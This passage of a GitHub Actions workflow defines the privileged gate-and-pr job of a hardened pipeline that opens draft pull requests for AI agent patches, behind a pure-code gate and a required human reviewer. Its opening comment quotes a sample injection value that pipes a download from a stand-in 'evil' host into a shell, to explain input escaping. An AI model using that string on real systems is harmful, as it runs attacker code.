before the shell runs — so a # value like `"; curl evil | sh; #` would be interpolated as code and # `%s`/quoting in printf would NOT stop it. Binding it to an env var # and referencing it as a quoted shell variable ("$TASK_ID") means the # shell sees it as DATA, never as script. python's json.dumps then # encodes it safely into the report. TASK_ID: ${{ inputs.task_id }} run: | set -euo pipefail # This report is consumed by the gate as DATA for the verifier agent's # next-fix reasoning. It is NOT the pass/fail decision — the gate reads # the AUTHENTICATED job conclusion (boundary 4), never this file. mkdir -p ./_report # Build the JSON with python's json encoder (reads TASK_ID from the # environment) so the untrusted task_id cannot break out of the string # or inject JSON structure. python3 - <<'PY' > ./_report/report.json import json import os print( json.dumps( { "task_id": os.environ["TASK_ID"], "note": "non-authoritative; gate uses job conclusion", } ) ) PY - name: Upload non-authoritative report if: always() uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3 with: name: build-test-report-${{ inputs.task_id }} path: ./_report/report.json retention-days: 7 # ─────────────────────────────────────────────────────────────────────────── # JOB 3 — gate-and-pr (boundaries 1 + 4 + 5). PRIVILEGED, but it NEVER checks # out or executes patch-controlled code. It reads the AUTHENTICATED conclusion # of `build-test` (via needs.*.result — GitHub-controlled, patch-independent) # keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts # any artifact the patch wrote. Pass/fail is pure code here, not the LLM. # # AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN # with `pull-requests: write` — ZERO cloud credentials, no token-federation. # The token is minted at run # time by actions/create-github-app-token (SHA-pinned) from the App id + # private key held as repo/org secrets, and is scoped to exactly the grant the # App installation has. The required HUMAN reviewer that must approve before # this job's `environment` runs is configured on the `agent-apply` GitHub # Environment at PROVISIONING (it cannot be expressed in YAML — see the # provisioning runbook). This job NEVER checks out or executes patch code: it # reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass # opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`) # until provisioning creates the App + environment + branch protection; the # flip is the single remaining provisioning action. # ─────────────────────────────────────────────────────────────────────────── gate-and-pr: needs: [guard, build-test] # Defense-in-depth: the privileged job NEVER runs on a failed/skipped/ # cancelled guard or build-test. We still want it to run on a build-test # FAILURE only to record the authoritative conclusion — but until # provisioning this job holds ZERO privilege and does ZERO privileged work # (the gate is pure-code, the token + draft-PR steps are `if: ${{ false }}`), # so gating on both upstream jobs succeeding is the safe posture: a test # dispatch today runs only the credential-less guard + build-test. At # provisioning, revisit whether to relax to `always()` to record failures. if: always() && needs.guard.result == 'success' && needs.build-test.result == 'success' runs-on: ubuntu-latest timeout-minutes: 5 # PROVISIONING-TIME PRIVILEGE (BLOCK-1 / FIX-4 / QUESTION-2). Privileged # declarations must be PROVISIONING-time, not live: an `environment:` that # does not exist yet and a `pull-requests: write` grant are unprotected holes # if declared before the `agent-apply` environment (with its required # reviewer) is created. So both stay COMMENTED here — the exact deploy-gated # pattern the removed cloud token-federation grant used — and are uncommented # at provisioning AFTER the environment exists. Today this job is # credential-less and runs ONLY the pure-code gate. # # The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED # REVIEWER (and optional wait timer / branch policy) is configured on the # Environment at PROVISIONING — GitHub holds the job here until a human # approves. This cannot be authored in YAML; the `environment:` reference is # the hook the provisioning step attaches the reviewer to. # FLIPPED LIVE 2026-06-22 (provisioning done: agent-apply env + required # reviewer amoussa1229 + the GitHub App secrets exist). GitHub holds this job # at the environment gate until the human reviewer approves each run. # MANDATORY INVARIANTS (do not remove): (1) the agent-apply environment's # required reviewer is the human gate — removing/weakening it makes the # privileged job auto-run; (2) runs-on stays GitHub-hosted (never self-hosted) # — a self-hosted runner could be attacker-influenced. Both are asserted by # tests/test_apply_verify_workflow_hardening.py. environment: name: agent-apply permissions: contents: read # The ONLY privileged grant: open a draft PR via the App installation # token. The required reviewer on the agent-apply environment gates every # run; the draft-PR + app-token STEPS additionally run only on a clean gate. pull-requests: write # NOTE: there is deliberately NO token-federation permission here — this # workflow uses a GitHub App installation token only, no cloud provider. steps: - name: Harden runner (privileged job; block egress) uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: # DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr # create). Trim/confirm per target repo at provisioning — an # over-broad allowlist weakens the egress boundary even on the # privileged job. No cloud endpoints: the auth model is a GitHub App # token only, with no cloud token-federation. egress-policy: block allowed-endpoints: > github.com:443 api.github.com:443 - name: Pure-code pass/fail gate over authenticated results id: gate env: # These come from GitHub's job orchestration, NOT from the patch. GUARD_RESULT: ${{ needs.guard.result }} BUILD_TEST_RESULT: ${{ needs.build-test.result }} DIFF_HASH: ${{ needs.guard.outputs.diff_hash }} EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }} RUN_ID: ${{ github.run_id }} run: | set -euo pipefail # Deterministic, patch-independent decision. Consumes ONLY the # authenticated needs.*.result values + the hash binding (all from # GitHub's orchestration, never from a file the patch wrote). Mirrors # secrev's "one pure-code script owns the block decision." The # verifier AGENT only reads failures to propose a fix; it cannot # declare success here. python3 - <<'PY' from __future__ import annotations import os import sys def gate( *, guard_result: str, build_test_result: str, diff_hash: str, expected_hash: str, run_id: str, ) -> tuple[bool, str]: """Return (passed, reason) from authenticated, patch-independent inputs. A pass requires: the guard job succeeded (integrity + denylist + scope all held), the build-test job succeeded, and the hash the guard exported equals the ledger-recorded expected hash bound to this run. Anything else blocks. """ if not run_id: return False, "missing run id; cannot bind decision to a run" # FAIL-CLOSED on an empty/missing hash. Without this guard an empty # guard-exported hash AND an empty expected hash compare equal # ('' == ''), so a run where the hash binding never populated would # SILENTLY satisfy the binding check — empty must never count as a # match. Require both sides present (and equal) before binding holds. g = diff_hash.strip().lower() e = expected_hash.strip().lower() if not g or not e: return False, ( "empty/missing hash; refusing to bind " f"(guard={diff_hash!r} expected={expected_hash!r})" ) if g != e: return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}" if guard_result != "success": return False, f"guard did not pass: {guard_result!r}" if build_test_result != "success": return False, f"build-test did not pass: {build_test_result!r}" return True, "authenticated build/test passed and diff hash is bound" def main() -> int: passed, reason = gate( guard_result=os.environ.get("GUARD_RESULT", ""), build_test_result=os.environ.get("BUILD_TEST_RESULT", ""), diff_hash=os.environ.get("DIFF_HASH", ""), expected_hash=os.environ.get("EXPECTED_DIFF_HASH", ""), run_id=os.environ.get("RUN_ID", ""), ) if passed: print(f"GATE PASS: {reason}") if (gh_out := os.environ.get("GITHUB_OUTPUT")): with open(gh_out, "a", encoding="utf-8") as fh: fh.write("gate=pass\n") return 0 print(f"::error::GATE BLOCK: {reason}") return 1 sys.exit(main()) PY - name: "Mint GitHub App installation token (pull-requests write only)" id: app-token # LIVE: mint the App token ONLY on a clean pure-code gate pass (same # condition as the draft-PR step, so the two flip together). The job # itself is already held at the agent-apply environment's required-reviewer # gate, so this never runs unapproved. if: ${{ steps.gate.outputs.gate == 'pass' }} uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0 with: # PROVISIONING: create the GitHub App (single permission: # `pull-requests: write`), install it on the target repo, and store # its id + private key as these secrets. The minted token is scoped to # exactly the App installation's grant — narrower than a PAT, and it # auto-expires (~1h). No cloud credentials, no token-federation. app-id: ${{ secrets.AGENT_APPLY_APP_ID }} private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }} - name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only) # belt-and-suspenders: even once flipped, the draft PR opens ONLY on a # clean authenticated pass. Target condition for the provisioning flip: # # if: >- # always() # && needs.guard.result == 'success' # && needs.build-test.result == 'success' # && steps.gate.outputs.gate == 'pass' # # LIVE: opens the draft PR ONLY on a clean authenticated pass, and only # after the agent-apply environment's required reviewer approved the job. if: >- always() && needs.guard.result == 'success' && needs.build-test.result == 'success' && steps.gate.outputs.gate == 'pass' env: # The App installation token (pull-requests: write). gh reads it from # GH_TOKEN. Untrusted values used below are env-indirected (CWE-94). GH_TOKEN: ${{ steps.app-token.outputs.token }} TASK_ID: ${{ inputs.task_id }} DIFF_HASH: ${{ needs.guard.outputs.diff_hash }} # The branch the trusted dispatcher already pushed with the diff # applied; the PR opens with this as --head (the box pushed nothing). HEAD_BRANCH: ${{ inputs.head_branch }} # The repo the PR is opened in (the App installation's repo). GH_REPO: ${{ github.repository }} run: | set -euo pipefail # Draft PR ONLY; never auto-merge (D2). The required reviewer on the # agent-apply environment + branch protection + the security review + # the Claude Code App review are the final enforcement (boundary 5). # The agent NEVER merges. # # §4.6 PR-metadata sanitization: the title/body embed only TASK_ID (a # coordinator-minted thread id) and DIFF_HASH (a computed sha) — never # the raw diff or any LLM free-text. Both are env-indirected and only # ever consumed as printf DATA (no shell interpolation, CWE-94). # Defense-in-depth: reject a task_id / head_branch that is not a safe # token before using them, so a malformed dispatch input cannot smuggle # control characters into the PR text or the git ref. case "$TASK_ID" in *[!A-Za-z0-9._-]* | "" ) echo "::error::unsafe task_id"; exit 1 ;; esac # Reject not just bad chars/empty, but also a leading/trailing slash, # any '..' segment, or '//' — so a tampered head_branch can never be a # git ref-traversal or resolve to an unintended ref (CWE-88). case "$HEAD_BRANCH" in *[!A-Za-z0-9._/-]* | "" | /* | */ | *..* | *//* ) echo "::error::unsafe head_branch"; exit 1 ;; esac title="$(printf 'agent-apply: %s (diff %s)' "$TASK_ID" "$DIFF_HASH")" body="$(printf 'Automated draft PR from the agent-team apply/verify pipeline.\n\nTask: %s\nDiff hash: %s\nHead: %s\n\nDRAFT ONLY — never auto-merged. Requires: green required checks, security review, Claude Code App review, and human approval (D2, boundary 5).' "$TASK_ID" "$DIFF_HASH" "$HEAD_BRANCH")" gh pr create \ --draft \ --title "$title" \ --body "$body" \ --base main \ --head "$HEAD_BRANCH" echo "draft PR opened (task=$TASK_ID, head=$HEAD_BRANCH); never auto-merged." - name: "Emit audit log entry (task + diff hash + gate result)" # WS3 detective control (additive): an unconditional audit trail for # every run so every dispatch attempt is traceable in the job log, # regardless of outcome. This SUPPLEMENTS — it does not replace — the # agent-apply environment's required-reviewer gate, which remains the # preventive human approval before this privileged job runs. if: always() env: TASK_ID: ${{ inputs.task_id }} DIFF_HASH: ${{ needs.guard.outputs.diff_hash }} RUN_ID: ${{ github.run_id }} GATE_RESULT: ${{ steps.gate.outputs.gate }} GH_REPO: ${{ github.repository }} run: | set -euo pipefail echo "[agent-apply audit] task=${TASK_ID} diff_hash=${DIFF_HASH} run_id=${RUN_ID} gate=${GATE_RESULT} repo=${GH_REPO}"